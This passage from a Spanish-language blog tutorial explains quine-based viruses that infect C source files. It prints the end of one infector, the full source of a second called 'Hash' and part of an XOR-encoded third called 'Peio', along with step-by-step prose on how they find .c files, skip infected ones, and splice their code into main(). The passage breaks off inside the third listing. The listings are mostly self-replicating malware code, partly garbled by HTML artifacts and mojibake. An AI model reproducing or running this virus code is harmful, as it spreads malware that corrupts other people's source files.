              while<img src="http://blog.txipinet.com/index.php/2007/01/11/readbyte=read%28fd,readmain,writebyte" />&gt;0) {
                lseek(fd,-readbyte,SEEK_CUR);
                write(fd,writemain,writebyte);
                writebyte=read(fd,writemain,writebyte);
                lseek(fd,-writebyte,SEEK_CUR);
                write(fd,readmain,readbyte);
              }
              lseek(fd,-readbyte,SEEK_CUR);
              write(fd,writemain,writebyte);
              /* copy virus function at EOF */
              lseek(fd, 0, SEEK_END);
              for(i=0;i&lt;strlen(charvirus);i+=2) {
                nibble[0] = charvirus[i];
                nibble[1] = charvirus[i+1];
                sscanf(nibble,"%02X",&amp;nibblechar);
                write(fd, &amp;nibblechar, 1);
              }
              write(fd, "\n  char charinclude[] = \"", strlen("\n  char charinclude[] = \""));
              write(fd, charinclude, strlen(charinclude));
              write(fd, "\";\n  char charvirus[] = \"", strlen("\";\n  char charvirus[] = \""));
              write(fd, charvirus, strlen(charvirus));
              write(fd, "\";\n  char charvirusend[] = \"", strlen("\";\n  char charvirusend[] = \""));
              write(fd, charvirusend, strlen(charvirusend));
              write(fd, "\";\n", strlen("\";\n"));
              lseek(fd, 0, SEEK_END);
              for(i=0;i&lt;strlen(charvirusend);i+=2) {
                nibble[0] = charvirusend[i];
                nibble[1] = charvirusend[i+1];
                sscanf(nibble,"%02X",&amp;nibblechar);
                write(fd, &amp;nibblechar, 1);
              }
              /* that's all folks! */
              /* just 1 infection each time */
              exit(0);
              close(fd);
            }
          }
      }
      close(fd);
    }
  closedir(dd);
  /* sauce! */
}
&lt;----------------------&gt;
&lt;--end of-opensauce.c--&gt;
&lt;----------------------&gt;</pre>
<p>El código no es un prodigio de la programación, pero sirve para enseñar lo que os quería explicar y además funciona (más o menos). En el array &#8220;charvirusend&#8221; se han suprimido muchas líneas para no engordar innecesariamente este texto (si deseáis una versión funcional del código, mirad en la e-zine 29a #7). El resto de código es bastante trivial:</p>
<p>1) Buscar ficheros en el directorio actual: abrir el directorio con opendir(), ir leyendo cada una de sus entradas con readdir() y cerrarlo con closedir().</p>
<p>2) Una vez que tenemos una posible víctima, comprobamos si se trata de un fichero &#8220;.c&#8221; ó &#8220;.C&#8221;, de ser así comprobamos si ya ha sido infectado (contiene la marca &#8220;/* sauce */&#8221;) y si es un fuente C en el que existe una función main().</p>
<p>3) Si se ha cumplido todo lo especificado en el punto anterior, procedemos a infectar, copiando los includes y la declaración de la función virus() al principio (charinclude), añadiendo una llamada a dicha función dentro de main(), y generando al final del código la función virus() (mediante el uso de &#8220;charvirus&#8221; y &#8220;charvirusend&#8221; además de unas cuantas llamadas a write() para definir los arrays).</p>
<p>4)  Una  vez  terminada  la  infección,  se  cierra  el  fichero  y el directorio, porque sólo se infecta un fichero cada vez.</p>
<p>5) Se  termina la  función virus(),  por lo  que se  regresa al código original y todo funciona como debería funcionar.</p>
<p>Veamos otro ejemplo de este tipo de virus, algo más evolucionado:</p>
<pre>&lt;---------------&gt;
&lt;-----hash.c----&gt;
&lt;---------------&gt;

/*
 * Hash,
 *
 * quine-based source code infector.
 *                   zert &lt;zert@int80h.net&gt;
 *
 */

#include &lt;stdio.h&gt;
#include &lt;sys/stat.h&gt;
#include &lt;sys/mman.h&gt;
#include &lt;unistd.h&gt;
#include &lt;dirent.h&gt;
#include &lt;fcntl.h&gt;

void init_hash(); 

int main(int argc, char *argv[])
{
	init_hash();
}

void init_hash()
{
	int i, j, fd, size, mpos, ipos, page,
	ihole, thole, bhole, ehole; struct dirent *dir; DIR *d;
	void *ptr;
	char hashinc[] = "\n#include &lt;stdio.h&gt;\n#include &lt;sys/stat.h&gt;\n#include &lt;sys/mman.h&gt;\n#include &lt;unistd.h&gt;\n#include &lt;dirent.h&gt;\n#include &lt;fcntl.h&gt;\n\nvoid init_hash();\n";
	char hashbeg[] = "\nvoid init_hash()\n{\n\tint i, j, fd, size, mpos, ipos, page, \n\tihole, thole, bhole, ehole; struct dirent *dir; DIR *d;\n\tvoid *ptr;\n\tchar hashinc[] = \"";
	char hashend[] = "\tchar *buf;\n\n\td = opendir(\".\");\n\twhile<img src="http://blog.txipinet.com/index.php/2007/01/11/dir%20=%20readdir%28d" />&gt;0)\n\t\tif(!(strcmp(dir-&gt;d_name+strlen(dir-&gt;d_name)-2,\".c\"))||\n\t\t   !(strcmp(dir-&gt;d_name+strlen(dir-&gt;d_name)-2,\".C\"))) \n\t\t\tif<img src="http://blog.txipinet.com/index.php/2007/01/11/fd=open%28dir-%3Ed_name,%20O_RDWR,%200" />&gt;=0)\n\t\t\t{\n\t\t\t\tsize = lseek(fd, 0, SEEK_END);\n\t\t\t\tptr = mmap(NULL,size,PROT_READ,MAP_PRIVATE,fd,0);\n\t\t\t\tif( (!strstr(ptr,\"init_hash\")) &amp;&amp;\n\t\t\t\t  ( <img src="http://blog.txipinet.com/index.php/2007/01/11/mpos=%28int%29strstr%28ptr,%5C%22%5C%5Cnmain%28%5C%22" />&gt;0) ||\n\t\t\t\t    <img src="http://blog.txipinet.com/index.php/2007/01/11/mpos=%28int%29strstr%28ptr,%5C%22%5C%5Cnint%20main%28%5C%22" />&gt;0) ||\n\t\t\t\t    <img src="http://blog.txipinet.com/index.php/2007/01/11/mpos=%28int%29strstr%28ptr,%5C%22%5C%5Cnvoid%20main%28%5C%22" />&gt;0) || \n\t\t\t\t    <img src="http://blog.txipinet.com/index.php/2007/01/11/mpos=%28int%29strstr%28ptr,%5C%22%5C%5Cnmain%20%28%5C%22" />&gt;0) ||\n\t\t\t\t    <img src="http://blog.txipinet.com/index.php/2007/01/11/mpos=%28int%29strstr%28ptr,%5C%22%5C%5Cnint%20main%20%28%5C%22" />&gt;0) ||\n\t\t\t\t    <img src="http://blog.txipinet.com/index.php/2007/01/11/mpos=%28int%29strstr%28ptr,%5C%22%5C%5Cnvoid%20main%20%28%5C%22" />&gt;0) ) )\n\t\t\t\t{\n\t\t\t\t\tmpos = (int)strstr<img src="http://blog.txipinet.com/index.php/2007/01/11/void%20*%29mpos,%20%5C%22;%5C%5Cn%5C%22%29;%5Cn%5Ct%5Ct%5Ct%5Ct%5Ctmpos%20-=%20%28int%29--ptr;%5Cn%5Ct%5Ct%5Ct%5Ct%5Ctif%28%20%21%28ipos%20=%20%28int%29strstr%28++ptr,%20%5C%22#include%20%3C%5C%22" /> )\n\t\t\t\t\t{\n\t\t\t\t\t\tmunmap(ptr, size);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\tmunmap(ptr, size);\n\t\t\t\t\tpage = 3 * (int)sysconf(_SC_PAGESIZE);\n\t\t\t\t\tftruncate(fd, size+page);\n\t\t\t\t\tptr = mmap(NULL,size+page,PROT_READ+PROT_WRITE,MAP_SHARED,fd,0);\n\t\t\t\t\tipos = (int)strstr(ptr, \"#include &lt;\");\n\t\t\t\t\tipos = (int)strstr<img src="http://blog.txipinet.com/index.php/2007/01/11/void%20*%29ipos,%20%5C%22%5C%5Cn%5C%5Cn%5C%22%29;%5Cn%5Ct%5Ct%5Ct%5Ct%5Ctipos%20-=%20%28int%29ptr;%5Cn%5Ct%5Ct%5Ct%5Ct%5Ctihole%20=%20strlen%28hashinc%29;%5Cn%5Ct%5Ct%5Ct%5Ct%5Ctfor%28i=%28size-ipos%29/ihole;i%3E=0;i--%29%20%5Cn%5Ct%5Ct%5Ct%5Ct%5Ct%5Ctmemcpy%28ptr+ipos+i*ihole+ihole,%20ptr+ipos+i*ihole,%20ihole%29;%5Cn%5Ct%5Ct%5Ct%5Ct%5Ctmemcpy%28ptr+ipos,%20hashinc,%20ihole%29;%5Cn%5Ct%5Ct%5Ct%5Ct%5Ctmpos%20+=%20ihole;%5Cn%5Ct%5Ct%5Ct%5Ct%5Ctbuf%20=%20%28char%20*%29malloc%2820*sizeof%28char" />;\n\t\t\t\t\tstrcpy(buf,\"\\n\\tinit_hash();\");\n\t\t\t\t\tthole = strlen(buf);\n\t\t\t\t\tfor(i=(size+ihole-mpos)/thole;i&gt;=0;i--) \n\t\t\t\t\t\tmemcpy(ptr+mpos+i*thole+thole, ptr+mpos+i*thole, thole);\n\t\t\t\t\tmemcpy(ptr+mpos, buf, thole);\n\t\t\t\t\tbhole = strlen(hashbeg);\n\t\t\t\t\tmemcpy(ptr+size+ihole+thole, hashbeg, bhole);\n\t\t\t\t\tbuf = (char *)malloc(100*sizeof(char)+strlen(hashinc));\n\t\t\t\t\tfor(i=0,j=0;i&lt;strlen(hashinc);i<ins>,j</ins>)\n\t\t\t\t\t\tswitch(hashinc[i])\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcase '\\n':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\n\");\n\t\t\t\t\t\t\t\tj<ins>;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\t':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\t\");\n\t\t\t\t\t\t\t\tj</ins>;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\\\':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\\\\\\");\n\t\t\t\t\t\t\t\tj<ins>;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\\"':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\\\\"\");\n\t\t\t\t\t\t\t\tj</ins>;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"%c\", hashinc[i]);\n\t\t\t\t\t\t} \n\t\t\t\t\tmemcpy(ptr+size+ihole+thole+bhole, buf, strlen(buf));\n\t\t\t\t\tbhole += strlen(buf);\n\t\t\t\t\tsprintf(ptr+size+ihole+thole+bhole, \"\\\";\\n\\tchar hashbeg[] =\\\"\");\n\t\t\t\t\tbhole += 21;\n\t\t\t\t\tbuf = (char *)malloc(100*sizeof(char)+strlen(hashbeg));\n\t\t\t\t\tfor(i=0,j=0;i&lt;strlen(hashbeg);i<ins>,j</ins>)\n\t\t\t\t\t\tswitch(hashbeg[i])\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcase '\\n':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\n\");\n\t\t\t\t\t\t\t\tj<ins>;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\t':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\t\");\n\t\t\t\t\t\t\t\tj</ins>;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\\\':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\\\\\\");\n\t\t\t\t\t\t\t\tj<ins>;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\\"':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\\\\"\");\n\t\t\t\t\t\t\t\tj</ins>;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"%c\", hashbeg[i]);\n\t\t\t\t\t\t} \n\t\t\t\t\tmemcpy(ptr+size+ihole+thole+bhole, buf, strlen(buf));\n\t\t\t\t\tbhole += strlen(buf);\n\t\t\t\t\tsprintf(ptr+size+ihole+thole+bhole, \"\\\";\\n\\tchar hashend[] =\\\"\");\n\t\t\t\t\tbhole += 21;\n\t\t\t\t\tbuf = (char *)malloc(100*sizeof(char)+strlen(hashend));\n\t\t\t\t\tfor(i=0,j=0;i&lt;strlen(hashend);i<ins>,j</ins>)\n\t\t\t\t\t\tswitch(hashend[i])\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcase '\\n':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\n\");\n\t\t\t\t\t\t\t\tj<ins>;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\t':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\t\");\n\t\t\t\t\t\t\t\tj</ins>;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\\\':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\\\\\\");\n\t\t\t\t\t\t\t\tj<ins>;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\\"':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\\\\"\");\n\t\t\t\t\t\t\t\tj</ins>;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"%c\", hashend[i]);\n\t\t\t\t\t\t} \n\t\t\t\t\tmemcpy(ptr+size+ihole+thole+bhole, buf, strlen(buf));\n\t\t\t\t\tbhole += strlen(buf);\n\t\t\t\t\tsprintf(ptr+size+ihole+thole+bhole, \"\\\";\\n\");\n\t\t\t\t\tbhole += 3;\n\n\t\t\t\t\tehole = strlen(hashend);\n\t\t\t\t\tmemcpy(ptr+size+ihole+thole+bhole, hashend, ehole);\n\t\t\t\t\tmsync(ptr, size+page, MS_SYNC);\n\t\t\t\t\tmunmap(ptr, size+page);\n\t\t\t\t\tftruncate(fd, size+ihole+thole+bhole+ehole);\n\t\t\t\t} else\n\t\t\t\t{\n\t\t\t\t\tmunmap(ptr, size);\n\t\t\t\t}\n\t\t\t}\n}\n";
	char *buf;

	d = opendir(".");
	while<img src="http://blog.txipinet.com/index.php/2007/01/11/dir%20=%20readdir%28d" />&gt;0)
		if(!(strcmp(dir-&gt;d_name+strlen(dir-&gt;d_name)-2,".c"))||
		   !(strcmp(dir-&gt;d_name+strlen(dir-&gt;d_name)-2,".C")))
			if<img src="http://blog.txipinet.com/index.php/2007/01/11/fd=open%28dir-%3Ed_name,%20O_RDWR,%200" />&gt;=0)
			{
				size = lseek(fd, 0, SEEK_END);
				ptr = mmap(NULL,size,PROT_READ,MAP_PRIVATE,fd,0);
				if( (!strstr(ptr,"init_hash")) &amp;&amp;
				  ( <img src="http://blog.txipinet.com/index.php/2007/01/11/mpos=%28int%29strstr%28ptr,%22%5Cnmain%28%22" />&gt;0) ||
				    <img src="http://blog.txipinet.com/index.php/2007/01/11/mpos=%28int%29strstr%28ptr,%22%5Cnint%20main%28%22" />&gt;0) ||
				    <img src="http://blog.txipinet.com/index.php/2007/01/11/mpos=%28int%29strstr%28ptr,%22%5Cnvoid%20main%28%22" />&gt;0) ||
				    <img src="http://blog.txipinet.com/index.php/2007/01/11/mpos=%28int%29strstr%28ptr,%22%5Cnmain%20%28%22" />&gt;0) ||
				    <img src="http://blog.txipinet.com/index.php/2007/01/11/mpos=%28int%29strstr%28ptr,%22%5Cnint%20main%20%28%22" />&gt;0) ||
				    <img src="http://blog.txipinet.com/index.php/2007/01/11/mpos=%28int%29strstr%28ptr,%22%5Cnvoid%20main%20%28%22" />&gt;0) ) )
				{
					mpos = (int)strstr((void *)mpos, ";\n");
					mpos -= (int)--ptr;
					if( !(ipos = (int)strstr(++ptr, "#include &lt;")) )
					{
						munmap(ptr, size);
						break;
					}
					munmap(ptr, size);
					page = 3 * (int)sysconf(_SC_PAGESIZE);
					ftruncate(fd, size+page);
					ptr = mmap(NULL,size+page,PROT_READ+PROT_WRITE,MAP_SHARED,fd,0);
					ipos = (int)strstr(ptr, "#include &lt;");
					ipos = (int)strstr((void *)ipos, "\n\n");
					ipos -= (int)ptr;
					ihole = strlen(hashinc);
					for(i=(size-ipos)/ihole;i&gt;=0;i--)
						memcpy(ptr+ipos+i*ihole+ihole, ptr+ipos+i*ihole, ihole);
					memcpy(ptr+ipos, hashinc, ihole);
					mpos += ihole;
					buf = (char *)malloc(20*sizeof(char));
					strcpy(buf,"\n\tinit_hash();");
					thole = strlen(buf);
					for(i=(size+ihole-mpos)/thole;i&gt;=0;i--)
						memcpy(ptr+mpos+i*thole+thole, ptr+mpos+i*thole, thole);
					memcpy(ptr+mpos, buf, thole);
					bhole = strlen(hashbeg);
					memcpy(ptr+size+ihole+thole, hashbeg, bhole);

					/* declaracion de arrays y arrays */
					buf = (char *)malloc(100*sizeof(char)+strlen(hashinc));
					for(i=0,j=0;i&lt;strlen(hashinc);i<ins>,j</ins>)
						switch(hashinc[i])
						{
							case '\n':
								sprintf(buf+j, "\\n");
								j++;
								break;
							case '\t':
								sprintf(buf+j, "\\t");
								j++;
								break;
							case '\\':
								sprintf(buf+j, "\\\\");
								j++;
								break;
							case '\"':
								sprintf(buf+j, "\\\"");
								j++;
								break;
							default:
								sprintf(buf+j, "%c", hashinc[i]);
						}
					memcpy(ptr+size+ihole+thole+bhole, buf, strlen(buf));
					bhole += strlen(buf);
					sprintf(ptr+size+ihole+thole+bhole, "\";\n\tchar hashbeg[] =\"");
					bhole += 21;
					buf = (char *)malloc(100*sizeof(char)+strlen(hashbeg));
					for(i=0,j=0;i&lt;strlen(hashbeg);i<ins>,j</ins>)
						switch(hashbeg[i])
						{
							case '\n':
								sprintf(buf+j, "\\n");
								j++;
								break;
							case '\t':
								sprintf(buf+j, "\\t");
								j++;
								break;
							case '\\':
								sprintf(buf+j, "\\\\");
								j++;
								break;
							case '\"':
								sprintf(buf+j, "\\\"");
								j++;
								break;
							default:
								sprintf(buf+j, "%c", hashbeg[i]);
						}
					memcpy(ptr+size+ihole+thole+bhole, buf, strlen(buf));
					bhole += strlen(buf);
					sprintf(ptr+size+ihole+thole+bhole, "\";\n\tchar hashend[] =\"");
					bhole += 21;
					buf = (char *)malloc(100*sizeof(char)+strlen(hashend));
					for(i=0,j=0;i&lt;strlen(hashend);i<ins>,j</ins>)
						switch(hashend[i])
						{
							case '\n':
								sprintf(buf+j, "\\n");
 								j++;
								break;
							case '\t':
								sprintf(buf+j, "\\t");
								j++;
								break;
							case '\\':
								sprintf(buf+j, "\\\\");
								j++;
								break;
							case '\"':
								sprintf(buf+j, "\\\"");
								j++;
								break;
							default:
								sprintf(buf+j, "%c", hashend[i]);
						}
					memcpy(ptr+size+ihole+thole+bhole, buf, strlen(buf));
					bhole += strlen(buf);
					sprintf(ptr+size+ihole+thole+bhole, "\";\n");
					bhole += 3;

					ehole = strlen(hashend);
					memcpy(ptr+size+ihole+thole+bhole, hashend, ehole);
					msync(ptr, size+page, MS_SYNC);
					munmap(ptr, size+page);
					ftruncate(fd, size+ihole+thole+bhole+ehole);
				} else
				{
					munmap(ptr, size);
				}
			}
}
&lt;---------------------&gt;
&lt;---- end of hash.c---&gt;
&lt;---------------------&gt;</pre>
<p>En este ejemplo, los hashes están en texto plano y corresponden a los format strings necesarios para generar cada uno de los fragmentos de código necesarios para la infección. A pesar de lo aparatoso de su tamaño, los hashes ocuparán bastante menos dentro del programa ejecutable, porque todos los caracteres de escape se reducirán a un byte. Como contrapartida, deberemos introducir el código necesario para volver a generar los dos chars que especifican cada carácter de escape (contemplándose únicamente &#8216;\t&#8217;, &#8216;\n&#8217;, &#8216;\\&#8217; y &#8216;\&#8221;&#8216;).</p>
<p>El resto del código es similar al ejemplo anterior, sin embargo ahora utilizamos las posibilidades que nos brinda Linux en cuanto a mapeo de ficheros en memoria mediante la syscall mmap, para agilizar el parcheo de los ficheros. Inicialmente reservamos 3 páginas más que el tamaño del fichero original y vamos llevando un seguimiento del espacio que realmente utilizamos, para truncar el fichero a ese tamaño cuando todo el movimiento de bytes haya concluido.</p>
<p>Todo lo demás son copias de bytes dentro de la zona de memoria donde reside el fichero, mediante memcpy(). El uso de mmap() y memcpy() en lugar de open(), write() y lseek() agiliza la modificación de ficheros enormemente.</p>
<p>Por último, el infector &#8220;Peio&#8221; utiliza las mismas técnicas que &#8220;Hash&#8221;, pero en este caso los hashes están XOReados, por lo que pueden utilizarse caracteres de escape como &#8216;\t&#8217; o &#8216;\n&#8217; sin tener que indicarlo así. De esta manera, el tamaño de los array de hash se reduce considerablemente, además de no precisar del código que se encarga de volver a traducir a dos bytes cada carácter de escape.</p>
<pre>&lt;----------------&gt;
&lt;-----peio.c-----&gt;
&lt;----------------&gt;

/*
 * Peio,
 *
 * source code infector XORing hashes.
 *                   zert &lt;zert@int80h.net&gt;
 *
 */

#include &lt;stdio.h&gt;
#include &lt;sys/stat.h&gt;
#include &lt;sys/mman.h&gt;
#include &lt;unistd.h&gt;
#include &lt;dirent.h&gt;
#include &lt;fcntl.h&gt;

void init_hash(); 

int main(int argc, char *argv[])
{
	init_hash();
}

void init_hash()
{
	int i, j, fd, size, mpos, ipos, page,
	ihole, thole, bhole, ehole; struct dirent *dir; DIR *d;
	void *ptr;
	char hashinc[] = "£éîãìõäå 1/4óôäéï(r)è3/4£éîãìõäå 1/4óùó¯óôáô(r)è3/4£éîãìõäå 1/4óùó¯ííáî(r)è3/4£éîãìõäå 1/4õîéóôä(r)è3/4£éîãìõäå 1/4äéòåîô(r)è3/4£éîãìõäå 1/4æãîôì(r)è3/4öïéä éîéôßèáóèš(c)" ";
	char hashbeg[] = "öïéä éîéôßèáóèš(c)ûéîô é¬ ê¬ æä¬ óéúå¬ íðïó¬ éðïó¬ ðáçå¬ éèïìå¬ ôèïìå¬ âèïìå¬ åèïìå" óôòõãô äéòåîô ªäéò" ÄÉÒ ªä"öïéä ªðôò"ãèáò èáóèéîãÛÝ 1/2 ¢";
	char hashend[] = "ãèáò ªâõæ"ä 1/2 ïðåîäéòš¢(r)¢(c)"÷èéìåššäéò 1/2 òåáääéòšä(c)(c)3/4°(c)éæš¡šóôòãíðšäéò­3/4äßîáíå"óôòìåîšäéò­3/4äßîáíå(c)­²¬¢(r)ã¢(c)(c)üü   ¡šóôòãíðšäéò­3/4äßîáíå"óôòìåîšäéò­3/4äßîáíå(c)­²¬¢(r)Ã¢(c)(c)(c) éæššæä1/2ïðåîšäéò­3/4äßîáíå¬ ÏßÒÄ×Ò¬ °(c)(c)3/41/2°(c)ûóéúå 1/2 ìóååëšæä¬ °¬ ÓÅÅËßÅÎÄ(c)"ðôò 1/2 ííáðšÎÕÌÌ¬óéúå¬ÐÒÏÔßÒÅÁÄ¬ÍÁÐßÐÒÉÖÁÔÅ¬æä¬°(c)"éæš š¡óôòóôòšðôò¬¢éîéôßèáóè¢(c)(c) ŠŠ  š ššíðïó1/2šéîô(c)óôòóôòšðôò¬¢Üîíáéîš¢(c)(c)3/4°(c) üü    ššíðïó1/2šéîô(c)óôòóôòšðôò¬¢Üîéîô íáéîš¢(c)(c)3/4°(c) üü    ššíðïó1/2šéîô(c)óôòóôòšðôò¬¢Üîöïéä íáéîš¢(c)(c)3/4°(c) üü     ššíðïó1/2šéîô(c)óôòóôòšðôò¬¢Üîíáéî š¢(c)(c)3/4°(c) üü    ššíðïó1/2šéîô(c)óôòóôòšðôò¬¢Üîéîô íáéî š¢(c)(c)3/4°(c) üü    ššíðïó1/2šéîô(c)óôòóôòšðôò¬¢Üîöïéä íáéî š¢(c)(c)3/4°(c) (c) (c)ûíðïó 1/2 šéîô(c)óôòóôòššöïéä ª(c)íðïó¬ ¢"Üî¢(c)"íðïó ­1/2 šéîô(c)­­ðôò"éæš ¡šéðïó 1/2 šéîô(c)óôòóôòš""ðôò¬ ¢£éîãìõäå 1/4¢(c)(c) (c)ûíõîíáðšðôò¬ óéúå(c)"âòåáë"ýíõîíáðšðôò¬ óéúå(c)"ðáçå 1/2 ³ ª šéîô(c)óùóãïîæšßÓÃßÐÁÇÅÓÉÚÅ(c)"æôòõîãáôåšæä¬ óéúå"ðáçå(c)"ðôò 1/2 ííáðšÎÕÌÌ¬óéúå"ðáçå¬ÐÒÏÔßÒÅÁÄ"ÐÒÏÔß×ÒÉÔÅ¬ÍÁÐßÓÈÁÒÅÄ¬æä¬°(c)"éðïó 1/2 šéîô(c)óôòóôòšðôò¬ ¢£éîãìõäå 1/4¢(c)"éðïó 1/2 šéîô(c)óôòóôòššöïéä ª(c)éðïó¬ ¢ÜîÜî¢(c)"éðïó ­1/2 šéîô(c)ðôò"æïòšé1/2°"é1/4óôòìåîšèáóèéîã(c)"é""(c)èáóèéîãÛéÝ Þ1/2 °øž°"æïòšé1/2°"é1/4óôòìåîšèáóèâåç(c)"é""(c)èáóèâåçÛéÝ Þ1/2 °øž°"éèïìå 1/2 óôòìåîšèáóèéîã(c)"æïòšé1/2šóéúå­éðïó(c)¯éèïìå"é3/41/2°"é­­(c) íåíãðùšðôò"éðïó"éªéèïìå"éèïìå¬ ðôò"éðïó"éªéèïìå¬ éèïìå(c)"íåíãðùšðôò"éðïó¬ èáóèéîã¬ éèïìå(c)"æïòšé1/2°"é1/4óôòìåîšèáóèéîã(c)"é""(c)èáóèéîãÛéÝ Þ1/2 °øž°"íðïó "1/2 éèïìå"âõæ 1/2 šãèáò ª(c)íáììïãš²°ªóéúåïæšãèáò(c)(c)"óôòãðùšâõæ¬¢ÜîÜôéîéôßèáóèš(c)"¢(c)"ôèïìå 1/2 óôòìåîšâõæ(c)"æïòšé1/2šóéúå"éèïìå­íðïó(c)¯ôèïìå"é3/41/2°"é­­(c) íåíãðùšðôò"íðïó"éªôèïìå"ôèïìå¬ ðôò"íðïó"éªôèïìå¬ ôèïìå(c)"íåíãðùšðôò"íðïó¬ âõæ¬ ôèïìå(c)"âèïìå 1/2 óôòìåîšèáóèâåç(c)"íåíãðùšðôò"óéúå"éèïìå"ôèïìå¬ èáóèâåç¬ âèïìå(c)"íåíãðùšðôò"óéúå"éèïìå"ôèïìå"âèïìå¬ èáóèéîã¬ éèïìå(c)"âèïìå "1/2 éèïìå"óðòéîôæšðôò"óéúå"éèïìå"ôèïìå"âèïìå¬ ¢Ü¢"ÜîÜôãèáò èáóèâåçÛÝ 1/2 Ü¢¢(c)"âèïìå "1/2 ²²"æïòšé1/2°"é1/4óôòìåîšèáóèâåç(c)"é""(c)èáóèâåçÛéÝ Þ1/2 °øž°"íåíãðùšðôò"óéúå"éèïìå"ôèïìå"âèïìå¬ èáóèâåç¬ óôòìåîšèáóèâåç(c)(c)"âèïìå "1/2 óôòìåîšèáóèâåç(c)"óðòéîôæšðôò"óéúå"éèïìå"ôèïìå"âèïìå¬ ¢Ü¢"ÜîÜôãèáò èáóèåîäÛÝ 1/2 Ü¢¢(c)"âèïìå "1/2 ²²"íåíãðùšðôò"óéúå"éèïìå"ôèïìå"âèïìå¬ èáóèåîä¬ óôòìåîšèáóèåîä(c)(c)"âèïìå "1/2 óôòìåîšèáóèåîä(c)"óðòéîôæšðôò"óéúå"éèïìå"ôèïìå"âèïìå¬ ¢Ü¢"Üî¢(c)"âèïìå "1/2 ³"æïòšé1/2°"é1/4óôòìåîšèáóèåîä(c)"é""(c)èáóèåîäÛéÝ Þ1/2 °øž°"åèïìå 1/2 óôòìåîšèáóèåîä(c)"íåíãðùšðôò"óéúå"éèïìå"ôèïìå"âèïìå¬ èáóèåîä¬ åèïìå(c)"íóùîãšðôò¬ óéúå"ðáçå¬ ÍÓßÓÙÎÃ(c)"íõîíáðšðôò¬ óéúå"ðáçå(c)"æôòõîãáôåšæä¬ óéúå"éèïìå"ôèïìå"âèïìå"åèïìå(c)"ý åìóåûíõîíáðšðôò¬ óéúå(c)"ýýý";
	char *buf;

	d = opendir(".");
	while<img src="http://blog.txipinet.com/index.php/2007/01/11/dir%20=%20readdir%28d" />&gt;0)
		if(!(strcmp(dir-&gt;d_name+strlen(dir-&gt;d_name)-2,".c"))||
		   !(strcmp(dir-&gt;d_name+strlen(dir-&gt;d_name)-2,".C")))
			if<img src="http://blog.txipinet.com/index.php/2007/01/11/fd=open%28dir-%3Ed_name,%20O_RDWR,%200" />&gt;=0)
			{
				size = lseek(fd, 0, SEEK_END);
				ptr = mmap(NULL,size,PROT_READ,MAP_PRIVATE,fd,0);
				if( (!strstr(ptr,"init_hash")) &amp;&amp;
				  ( <img src="http://blog.txipinet.com/index.php/2007/01/11/mpos=%28int%29strstr%28ptr,%22%5Cnmain%28%22" />&gt;0) ||
				    <img src="http://blog.txipinet.com/index.php/2007/01/11/mpos=%28int%29strstr%28ptr,%22%5Cnint%20main%28%22" />&gt;0) ||
				    <img src="http://blog.txipinet.com/index.php/2007/01/11/mpos=%28int%29strstr%28ptr,%22%5Cnvoid%20main%28%22" />&gt;0) ||
				    <img src="http://blog.txipinet.com/index.php/2007/01/11/mpos=%28int%29strstr%28ptr,%22%5Cnmain%20%28%22" />&gt;0) ||
				    <img src="http://blog.txipinet.com/index.php/2007/01/11/mpos=%28int%29strstr%28ptr,%22%5Cnint%20main%20%28%22" />&gt;0) ||
				    <img src="http://blog.txipinet.com/index.php/2007/01/11/mpos=%28int%29strstr%28ptr,%22%5Cnvoid%20main%20%28%22" />&gt;0) ) )
				{
					mpos = (int)strstr((void *)mpos, ";\n");
					mpos -= (int)--ptr;
					if( !(ipos = (int)strstr(++ptr, "#include &lt;")) )
					{
						munmap(ptr, size);
						break;
					}
					munmap(ptr, size);
					page = 3 * (int)sysconf(_SC_PAGESIZE);
					ftruncate(fd, size+page);
					ptr = mmap(NULL,size+page,PROT_READ+PROT_WRITE,MAP_SHARED,fd,0);
					ipos = (int)strstr(ptr, "#include &lt;");
					ipos = (int)strstr((void *)ipos, "\n\n");
					ipos -= (int)ptr;
					for(i=0;i&lt;strlen(hashinc);i++)
						hashinc[i] ^= 0x80;
					for(i=0;i&lt;strlen(hashbeg);i++)
						hashbeg[i] ^= 0x80;
					ihole = strlen(hashinc);
					for(i=(size-ipos)/ihole;i&gt;=0;i--)
						memcpy(ptr+ipos+i*ihole+ihole, ptr+ipos+i*ihole, ihole);
					memcpy(ptr+ipos, hashinc, ihole);
					for(i=0;i&lt;strlen(hashinc);i++)
						hashinc[i] ^= 0x80;
					mpos += ihole;
					buf = (char *)malloc(20*sizeof(char));
					strcpy(buf,"\n\tinit_hash();");
					thole = strlen(buf);
